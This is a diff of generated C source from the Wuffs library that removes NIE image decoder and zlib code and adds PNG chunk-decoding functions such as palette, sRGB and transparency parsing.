+- if (status.repr) { +- goto suspend; ++ if (v_c8 == 0u) { ++ break; + } +- } else if (self->private_impl.f_call_sequence == 40u) { +- if (16u != wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src)))) { +- status = wuffs_base__make_status(wuffs_base__error__bad_restart); +- goto exit; ++ } ++ if (self->private_impl.f_chunk_length <= 0u) { ++ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); ++ goto exit; ++ } ++ self->private_impl.f_chunk_length -= 1u; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; + } +- } else if (self->private_impl.f_call_sequence == 64u) { +- self->private_impl.f_call_sequence = 96u; +- status = wuffs_base__make_status(wuffs_base__note__end_of_data); +- goto ok; +- } else { +- status = wuffs_base__make_status(wuffs_base__note__end_of_data); +- goto ok; ++ uint8_t t_1 = *iop_a_src++; ++ v_c8 = t_1; + } +- if (a_dst != NULL) { +- wuffs_base__frame_config__set( +- a_dst, +- wuffs_base__utility__make_rect_ie_u32( +- 0u, +- 0u, +- self->private_impl.f_width, +- self->private_impl.f_height), +- ((wuffs_base__flicks)(0u)), +- 0u, +- 16u, +- 0u, +- false, +- false, +- 0u); ++ if (v_c8 != 0u) { ++ status = wuffs_base__make_status(wuffs_png__error__unsupported_png_compression_method); ++ goto exit; + } +- self->private_impl.f_call_sequence = 64u; ++ self->private_impl.f_metadata_is_zlib_compressed = true; ++ self->private_impl.f_metadata_flavor = 4u; ++ self->private_impl.f_metadata_fourcc = 1229144912u; ++ self->private_impl.f_metadata_x = 0u; ++ self->private_impl.f_metadata_y = 0u; ++ self->private_impl.f_metadata_z = 0u; + ++ goto ok; + ok: +- self->private_impl.p_do_decode_frame_config[0] = 0; ++ self->private_impl.p_decode_iccp = 0; + goto exit; + } + + goto suspend; + suspend: +- self->private_impl.p_do_decode_frame_config[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_impl.p_decode_iccp = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; + + goto exit; + exit: +@@ -51417,182 +64596,119 @@ wuffs_nie__decoder__do_decode_frame_config( + return status; + } + +-// -------- func nie.decoder.decode_frame ++// -------- func png.decoder.decode_plte + + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_nie__decoder__decode_frame( +- wuffs_nie__decoder* self, +- wuffs_base__pixel_buffer* a_dst, +- wuffs_base__io_buffer* a_src, +- wuffs_base__pixel_blend a_blend, +- wuffs_base__slice_u8 a_workbuf, +- wuffs_base__decode_frame_options* a_opts) { +- if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_status( +- (self->private_impl.magic == WUFFS_BASE__DISABLED) +- ? wuffs_base__error__disabled_by_previous_error +- : wuffs_base__error__initialize_not_called); +- } +- if (!a_dst || !a_src) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- return wuffs_base__make_status(wuffs_base__error__bad_argument); +- } +- if ((self->private_impl.active_coroutine != 0) && +- (self->private_impl.active_coroutine != 3)) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); +- } +- self->private_impl.active_coroutine = 0; ++static wuffs_base__status ++wuffs_png__decoder__decode_plte( ++ wuffs_png__decoder* self, ++ wuffs_base__io_buffer* a_src) { + wuffs_base__status status = wuffs_base__make_status(NULL); + +- wuffs_base__status v_status = wuffs_base__make_status(NULL); +- +- uint32_t coro_susp_point = self->private_impl.p_decode_frame[0]; +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; +- +- while (true) { +- { +- wuffs_base__status t_0 = wuffs_nie__decoder__do_decode_frame(self, +- a_dst, +- a_src, +- a_blend, +- a_workbuf, +- a_opts); +- v_status = t_0; +- } +- if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { +- status = wuffs_base__make_status(wuffs_nie__error__truncated_input); +- goto exit; +- } +- status = v_status; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); +- } ++ uint32_t v_num_entries = 0; ++ uint32_t v_i = 0; ++ uint32_t v_argb = 0; + +- ok: +- self->private_impl.p_decode_frame[0] = 0; +- goto exit; ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; + } + +- goto suspend; +- suspend: +- self->private_impl.p_decode_frame[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 3 : 0; +- +- goto exit; +- exit: +- if (wuffs_base__status__is_error(&status)) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; ++ uint32_t coro_susp_point = self->private_impl.p_decode_plte; ++ if (coro_susp_point) { ++ v_num_entries = self->private_data.s_decode_plte.v_num_entries; ++ v_i = self->private_data.s_decode_plte.v_i; + } +- return status; +-} +- +-// -------- func nie.decoder.do_decode_frame +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_nie__decoder__do_decode_frame( +- wuffs_nie__decoder* self, +- wuffs_base__pixel_buffer* a_dst, +- wuffs_base__io_buffer* a_src, +- wuffs_base__pixel_blend a_blend, +- wuffs_base__slice_u8 a_workbuf, +- wuffs_base__decode_frame_options* a_opts) { +- wuffs_base__status status = wuffs_base__make_status(NULL); +- +- wuffs_base__status v_status = wuffs_base__make_status(NULL); +- +- uint32_t coro_susp_point = self->private_impl.p_do_decode_frame[0]; + switch (coro_susp_point) { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + +- if (self->private_impl.f_call_sequence == 64u) { +- } else if (self->private_impl.f_call_sequence < 64u) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- status = wuffs_nie__decoder__do_decode_frame_config(self, NULL, a_src); +- if (status.repr) { +- goto suspend; +- } +- } else { +- status = wuffs_base__make_status(wuffs_base__note__end_of_data); +- goto ok; +- } +- self->private_impl.f_dst_x = 0u; +- self->private_impl.f_dst_y = 0u; +- v_status = wuffs_base__pixel_swizzler__prepare(&self->private_impl.f_swizzler, +- wuffs_base__pixel_buffer__pixel_format(a_dst), +- wuffs_base__pixel_buffer__palette(a_dst), +- wuffs_base__utility__make_pixel_format(self->private_impl.f_pixfmt), +- wuffs_base__utility__empty_slice_u8(), +- a_blend); +- if ( ! wuffs_base__status__is_ok(&v_status)) { +- status = v_status; +- if (wuffs_base__status__is_error(&status)) { +- goto exit; +- } else if (wuffs_base__status__is_suspension(&status)) { +- status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); +- goto exit; +- } +- goto ok; ++ if ((self->private_impl.f_chunk_length > 768u) || ((self->private_impl.f_chunk_length % 3u) != 0u)) { ++ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); ++ goto exit; + } +- while (true) { +- v_status = wuffs_nie__decoder__swizzle(self, a_dst, a_src); +- if (wuffs_base__status__is_ok(&v_status)) { +- break; +- } else if (v_status.repr != wuffs_nie__note__internal_note_short_read) { +- status = v_status; +- if (wuffs_base__status__is_error(&status)) { +- goto exit; +- } else if (wuffs_base__status__is_suspension(&status)) { +- status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); +- goto exit; ++ v_num_entries = (((uint32_t)(self->private_impl.f_chunk_length)) / 3u); ++ self->private_impl.f_chunk_length = 0u; ++ while (v_i < v_num_entries) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ uint32_t t_0; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 3)) { ++ t_0 = ((uint32_t)(wuffs_base__peek_u24be__no_bounds_check(iop_a_src))); ++ iop_a_src += 3; ++ } else { ++ self->private_data.s_decode_plte.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_decode_plte.scratch; ++ uint32_t num_bits_0 = ((uint32_t)(*scratch & 0xFFu)); ++ *scratch >>= 8; ++ *scratch <<= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_0); ++ if (num_bits_0 == 16) { ++ t_0 = ((uint32_t)(*scratch >> 40)); ++ break; ++ } ++ num_bits_0 += 8u; ++ *scratch |= ((uint64_t)(num_bits_0)); ++ } + } +- goto ok; ++ v_argb = t_0; + } +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(2); ++ v_argb |= 4278190080u; ++ self->private_data.f_src_palette[((4u * v_i) + 0u)] = ((uint8_t)((v_argb >> 0u))); ++ self->private_data.f_src_palette[((4u * v_i) + 1u)] = ((uint8_t)((v_argb >> 8u))); ++ self->private_data.f_src_palette[((4u * v_i) + 2u)] = ((uint8_t)((v_argb >> 16u))); ++ self->private_data.f_src_palette[((4u * v_i) + 3u)] = ((uint8_t)((v_argb >> 24u))); ++ v_i += 1u; ++ } ++ while (v_i < 256u) { ++ self->private_data.f_src_palette[((4u * v_i) + 0u)] = 0u; ++ self->private_data.f_src_palette[((4u * v_i) + 1u)] = 0u; ++ self->private_data.f_src_palette[((4u * v_i) + 2u)] = 0u; ++ self->private_data.f_src_palette[((4u * v_i) + 3u)] = 255u; ++ v_i += 1u; + } +- self->private_impl.f_call_sequence = 96u; + ++ goto ok; + ok: +- self->private_impl.p_do_decode_frame[0] = 0; ++ self->private_impl.p_decode_plte = 0; + goto exit; + } + + goto suspend; + suspend: +- self->private_impl.p_do_decode_frame[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_impl.p_decode_plte = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_data.s_decode_plte.v_num_entries = v_num_entries; ++ self->private_data.s_decode_plte.v_i = v_i; + + goto exit; + exit: ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ + return status; + } + +-// -------- func nie.decoder.swizzle ++// -------- func png.decoder.decode_srgb + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_nie__decoder__swizzle( +- wuffs_nie__decoder* self, +- wuffs_base__pixel_buffer* a_dst, ++wuffs_png__decoder__decode_srgb( ++ wuffs_png__decoder* self, + wuffs_base__io_buffer* a_src) { + wuffs_base__status status = wuffs_base__make_status(NULL); + +- wuffs_base__pixel_format v_dst_pixfmt = {0}; +- uint32_t v_dst_bits_per_pixel = 0; +- uint32_t v_dst_bytes_per_pixel = 0; +- uint64_t v_dst_bytes_per_row = 0; +- uint32_t v_src_bytes_per_pixel = 0; +- wuffs_base__table_u8 v_tab = {0}; +- wuffs_base__slice_u8 v_dst = {0}; +- uint64_t v_i = 0; +- uint64_t v_j = 0; +- uint64_t v_n = 0; +- + const uint8_t* iop_a_src = NULL; + const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; + const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +@@ -51604,66 +64720,39 @@ wuffs_nie__decoder__swizzle( + io2_a_src = io0_a_src + a_src->meta.wi; + } + +- v_dst_pixfmt = wuffs_base__pixel_buffer__pixel_format(a_dst); +- v_dst_bits_per_pixel = wuffs_base__pixel_format__bits_per_pixel(&v_dst_pixfmt); +- if ((v_dst_bits_per_pixel & 7u) != 0u) { +- status = wuffs_base__make_status(wuffs_base__error__unsupported_option); +- goto exit; +- } +- v_dst_bytes_per_pixel = (v_dst_bits_per_pixel / 8u); +- v_dst_bytes_per_row = ((uint64_t)((self->private_impl.f_width * v_dst_bytes_per_pixel))); +- v_tab = wuffs_base__pixel_buffer__plane(a_dst, 0u); +- while (true) { +- if (self->private_impl.f_dst_x == self->private_impl.f_width) { +- self->private_impl.f_dst_x = 0u; +- self->private_impl.f_dst_y += 1u; +- if (self->private_impl.f_dst_y >= self->private_impl.f_height) { +- break; +- } +- } +- v_dst = wuffs_base__table_u8__row_u32(v_tab, self->private_impl.f_dst_y); +- if (v_dst_bytes_per_row < ((uint64_t)(v_dst.len))) { +- v_dst = wuffs_base__slice_u8__subslice_j(v_dst, v_dst_bytes_per_row); +- } +- v_i = (((uint64_t)(self->private_impl.f_dst_x)) * ((uint64_t)(v_dst_bytes_per_pixel))); +- if (v_i >= ((uint64_t)(v_dst.len))) { +- v_src_bytes_per_pixel = 4u; +- if (self->private_impl.f_pixfmt == 2164308923u) { +- v_src_bytes_per_pixel = 8u; +- } +- v_n = (((uint64_t)(io2_a_src - iop_a_src)) / ((uint64_t)(v_src_bytes_per_pixel))); +- v_n = wuffs_base__u64__min(v_n, ((uint64_t)(((uint32_t)(self->private_impl.f_width - self->private_impl.f_dst_x))))); +- v_j = v_n; +- while (v_j >= 8u) { +- if (((uint64_t)(io2_a_src - iop_a_src)) >= ((uint64_t)((v_src_bytes_per_pixel * 8u)))) { +- iop_a_src += (v_src_bytes_per_pixel * 8u); +- } +- v_j -= 8u; +- } +- while (v_j > 0u) { +- if (((uint64_t)(io2_a_src - iop_a_src)) >= ((uint64_t)((v_src_bytes_per_pixel * 1u)))) { +- iop_a_src += (v_src_bytes_per_pixel * 1u); +- } +- v_j -= 1u; +- } +- } else { +- v_n = wuffs_base__pixel_swizzler__swizzle_interleaved_from_reader( +- &self->private_impl.f_swizzler, +- wuffs_base__slice_u8__subslice_i(v_dst, v_i), +- wuffs_base__pixel_buffer__palette(a_dst), +- &iop_a_src, +- io2_a_src); ++ uint32_t coro_susp_point = self->private_impl.p_decode_srgb; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ if (self->private_impl.f_chunk_length != 1u) { ++ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); ++ goto exit; + } +- if (v_n == 0u) { +- status = wuffs_base__make_status(wuffs_nie__note__internal_note_short_read); +- goto ok; ++ self->private_impl.f_chunk_length = 0u; ++ self->private_impl.f_metadata_flavor = 5u; ++ self->private_impl.f_metadata_fourcc = 1397901122u; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t t_0 = *iop_a_src++; ++ self->private_impl.f_metadata_x = t_0; + } +- wuffs_base__u32__sat_add_indirect(&self->private_impl.f_dst_x, ((uint32_t)(v_n))); ++ self->private_impl.f_metadata_y = 0u; ++ self->private_impl.f_metadata_z = 0u; ++ ++ goto ok; ++ ok: ++ self->private_impl.p_decode_srgb = 0; ++ goto exit; + } +- status = wuffs_base__make_status(NULL); +- goto ok; + +- ok: ++ goto suspend; ++ suspend: ++ self->private_impl.p_decode_srgb = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ + goto exit; + exit: + if (a_src && a_src->data.ptr) { +@@ -51673,131 +64762,199 @@ wuffs_nie__decoder__swizzle( + return status; + } + +-// -------- func nie.decoder.frame_dirty_rect +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__rect_ie_u32 +-wuffs_nie__decoder__frame_dirty_rect( +- const wuffs_nie__decoder* self) { +- if (!self) { +- return wuffs_base__utility__empty_rect_ie_u32(); +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return wuffs_base__utility__empty_rect_ie_u32(); +- } +- +- return wuffs_base__utility__make_rect_ie_u32( +- 0u, +- 0u, +- self->private_impl.f_width, +- self->private_impl.f_height); +-} +- +-// -------- func nie.decoder.num_animation_loops ++// -------- func png.decoder.decode_trns + + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint32_t +-wuffs_nie__decoder__num_animation_loops( +- const wuffs_nie__decoder* self) { +- if (!self) { +- return 0; +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return 0; +- } +- +- return 0u; +-} ++static wuffs_base__status ++wuffs_png__decoder__decode_trns( ++ wuffs_png__decoder* self, ++ wuffs_base__io_buffer* a_src) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); + +-// -------- func nie.decoder.num_decoded_frame_configs ++ uint32_t v_i = 0; ++ uint32_t v_n = 0; ++ uint64_t v_u = 0; + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_nie__decoder__num_decoded_frame_configs( +- const wuffs_nie__decoder* self) { +- if (!self) { +- return 0; +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return 0; ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; + } + +- if (self->private_impl.f_call_sequence > 32u) { +- return 1u; ++ uint32_t coro_susp_point = self->private_impl.p_decode_trns; ++ if (coro_susp_point) { ++ v_i = self->private_data.s_decode_trns.v_i; ++ v_n = self->private_data.s_decode_trns.v_n; + } +- return 0u; +-} +- +-// -------- func nie.decoder.num_decoded_frames ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_nie__decoder__num_decoded_frames( +- const wuffs_nie__decoder* self) { +- if (!self) { +- return 0; +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return 0; +- } ++ if (self->private_impl.f_color_type == 0u) { ++ self->private_impl.choosy_filter_and_swizzle = ( ++ &wuffs_png__decoder__filter_and_swizzle_tricky); ++ if (self->private_impl.f_depth <= 8u) { ++ self->private_impl.f_dst_pixfmt = 2164295816u; ++ self->private_impl.f_src_pixfmt = 2164295816u; ++ } else { ++ self->private_impl.f_dst_pixfmt = 2164308923u; ++ self->private_impl.f_src_pixfmt = 2164308923u; ++ } ++ if (self->private_impl.f_chunk_length != 2u) { ++ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); ++ goto exit; ++ } ++ self->private_impl.f_chunk_length = 0u; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ uint64_t t_0; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { ++ t_0 = ((uint64_t)(wuffs_base__peek_u16be__no_bounds_check(iop_a_src))); ++ iop_a_src += 2; ++ } else { ++ self->private_data.s_decode_trns.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_decode_trns.scratch; ++ uint32_t num_bits_0 = ((uint32_t)(*scratch & 0xFFu)); ++ *scratch >>= 8; ++ *scratch <<= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_0); ++ if (num_bits_0 == 8) { ++ t_0 = ((uint64_t)(*scratch >> 48)); ++ break; ++ } ++ num_bits_0 += 8u; ++ *scratch |= ((uint64_t)(num_bits_0)); ++ } ++ } ++ v_u = t_0; ++ } ++ if (self->private_impl.f_depth <= 1u) { ++ self->private_impl.f_remap_transparency = (((v_u & 1u) * 16777215u) | 4278190080u); ++ } else if (self->private_impl.f_depth <= 2u) { ++ self->private_impl.f_remap_transparency = (((v_u & 3u) * 5592405u) | 4278190080u); ++ } else if (self->private_impl.f_depth <= 4u) { ++ self->private_impl.f_remap_transparency = (((v_u & 15u) * 1118481u) | 4278190080u); ++ } else if (self->private_impl.f_depth <= 8u) { ++ self->private_impl.f_remap_transparency = (((v_u & 255u) * 65793u) | 4278190080u); ++ } else { ++ self->private_impl.f_remap_transparency = ((v_u * 4295032833u) | 18446462598732840960u); ++ } ++ } else if (self->private_impl.f_color_type == 2u) { ++ self->private_impl.choosy_filter_and_swizzle = ( ++ &wuffs_png__decoder__filter_and_swizzle_tricky); ++ if (self->private_impl.f_depth <= 8u) { ++ self->private_impl.f_dst_pixfmt = 2164295816u; ++ self->private_impl.f_src_pixfmt = 2164295816u; ++ } else { ++ self->private_impl.f_dst_pixfmt = 2164308923u; ++ self->private_impl.f_src_pixfmt = 2164308923u; ++ } ++ if (self->private_impl.f_chunk_length != 6u) { ++ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); ++ goto exit; ++ } ++ self->private_impl.f_chunk_length = 0u; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ uint64_t t_1; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 6)) { ++ t_1 = ((uint64_t)(wuffs_base__peek_u48be__no_bounds_check(iop_a_src))); ++ iop_a_src += 6; ++ } else { ++ self->private_data.s_decode_trns.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_decode_trns.scratch; ++ uint32_t num_bits_1 = ((uint32_t)(*scratch & 0xFFu)); ++ *scratch >>= 8; ++ *scratch <<= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_1); ++ if (num_bits_1 == 40) { ++ t_1 = ((uint64_t)(*scratch >> 16)); ++ break; ++ } ++ num_bits_1 += 8u; ++ *scratch |= ((uint64_t)(num_bits_1)); ++ } ++ } ++ v_u = t_1; ++ } ++ if (self->private_impl.f_depth <= 8u) { ++ self->private_impl.f_remap_transparency = ((255u & (v_u >> 0u)) | ++ (65280u & (v_u >> 8u)) | ++ (16711680u & (v_u >> 16u)) | ++ 4278190080u); ++ } else { ++ self->private_impl.f_remap_transparency = (v_u | 18446462598732840960u); ++ } ++ } else if (self->private_impl.f_color_type == 3u) { ++ self->private_impl.f_dst_pixfmt = 2164523016u; ++ self->private_impl.f_src_pixfmt = 2164523016u; ++ if (self->private_impl.f_chunk_length > 256u) { ++ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); ++ goto exit; ++ } ++ v_n = ((uint32_t)(self->private_impl.f_chunk_length)); ++ self->private_impl.f_chunk_length = 0u; ++ while (v_i < v_n) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_2 = *iop_a_src++; ++ self->private_data.f_src_palette[((4u * v_i) + 3u)] = t_2; ++ } ++ v_i += 1u; ++ } ++ } else { ++ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); ++ goto exit; ++ } + +- if (self->private_impl.f_call_sequence > 64u) { +- return 1u; ++ goto ok; ++ ok: ++ self->private_impl.p_decode_trns = 0; ++ goto exit; + } +- return 0u; +-} +- +-// -------- func nie.decoder.restart_frame + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_nie__decoder__restart_frame( +- wuffs_nie__decoder* self, +- uint64_t a_index, +- uint64_t a_io_position) { +- if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_status( +- (self->private_impl.magic == WUFFS_BASE__DISABLED) +- ? wuffs_base__error__disabled_by_previous_error +- : wuffs_base__error__initialize_not_called); +- } ++ goto suspend; ++ suspend: ++ self->private_impl.p_decode_trns = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_data.s_decode_trns.v_i = v_i; ++ self->private_data.s_decode_trns.v_n = v_n; + +- if (self->private_impl.f_call_sequence < 32u) { +- return wuffs_base__make_status(wuffs_base__error__bad_call_sequence); +- } +- if ((a_index != 0u) || (a_io_position != 16u)) { +- return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ goto exit; ++ exit: ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } +- self->private_impl.f_call_sequence = 40u; +- return wuffs_base__make_status(NULL); +-} + +-// -------- func nie.decoder.set_report_metadata +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct +-wuffs_nie__decoder__set_report_metadata( +- wuffs_nie__decoder* self, +- uint32_t a_fourcc, +- bool a_report) { +- return wuffs_base__make_empty_struct(); ++ return status; + } + +-// -------- func nie.decoder.tell_me_more ++// -------- func png.decoder.decode_frame_config + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_nie__decoder__tell_me_more( +- wuffs_nie__decoder* self, +- wuffs_base__io_buffer* a_dst, +- wuffs_base__more_information* a_minfo, ++wuffs_png__decoder__decode_frame_config( ++ wuffs_png__decoder* self, ++ wuffs_base__frame_config* a_dst, + wuffs_base__io_buffer* a_src) { + if (!self) { + return wuffs_base__make_status(wuffs_base__error__bad_receiver); +@@ -51808,354 +64965,485 @@ wuffs_nie__decoder__tell_me_more( + ? wuffs_base__error__disabled_by_previous_error + : wuffs_base__error__initialize_not_called); + } +- if (!a_dst || !a_src) { ++ if (!a_src) { + self->private_impl.magic = WUFFS_BASE__DISABLED; + return wuffs_base__make_status(wuffs_base__error__bad_argument); + } + if ((self->private_impl.active_coroutine != 0) && +- (self->private_impl.active_coroutine != 4)) { ++ (self->private_impl.active_coroutine != 2)) { + self->private_impl.magic = WUFFS_BASE__DISABLED; + return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); + } + self->private_impl.active_coroutine = 0; + wuffs_base__status status = wuffs_base__make_status(NULL); + +- status = wuffs_base__make_status(wuffs_base__error__no_more_information); +- goto exit; +- +- goto ok; +- ok: +- goto exit; +- exit: +- if (wuffs_base__status__is_error(&status)) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- } +- return status; +-} +- +-// -------- func nie.decoder.history_retain_length +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_nie__decoder__history_retain_length( +- const wuffs_nie__decoder* self) { +- if (!self) { +- return 0; +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return 0; +- } +- +- return 0u; +-} +- +-// -------- func nie.decoder.workbuf_len +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 +-wuffs_nie__decoder__workbuf_len( +- const wuffs_nie__decoder* self) { +- if (!self) { +- return wuffs_base__utility__empty_range_ii_u64(); +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return wuffs_base__utility__empty_range_ii_u64(); +- } +- +- return wuffs_base__utility__make_range_ii_u64(0u, 0u); +-} +- +-#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__NIE) +- +-#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__ZLIB) +- +-// ---------------- Status Codes Implementations +- +-const char wuffs_zlib__note__dictionary_required[] = "@zlib: dictionary required"; +-const char wuffs_zlib__error__bad_checksum[] = "#zlib: bad checksum"; +-const char wuffs_zlib__error__bad_compression_method[] = "#zlib: bad compression method"; +-const char wuffs_zlib__error__bad_compression_window_size[] = "#zlib: bad compression window size"; +-const char wuffs_zlib__error__bad_parity_check[] = "#zlib: bad parity check"; +-const char wuffs_zlib__error__incorrect_dictionary[] = "#zlib: incorrect dictionary"; +-const char wuffs_zlib__error__truncated_input[] = "#zlib: truncated input"; +- +-// ---------------- Private Consts +- +-#define WUFFS_ZLIB__QUIRKS_BASE 2113790976 +- +-#define WUFFS_ZLIB__QUIRKS_COUNT 1 +- +-// ---------------- Private Initializer Prototypes +- +-// ---------------- Private Function Prototypes +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status 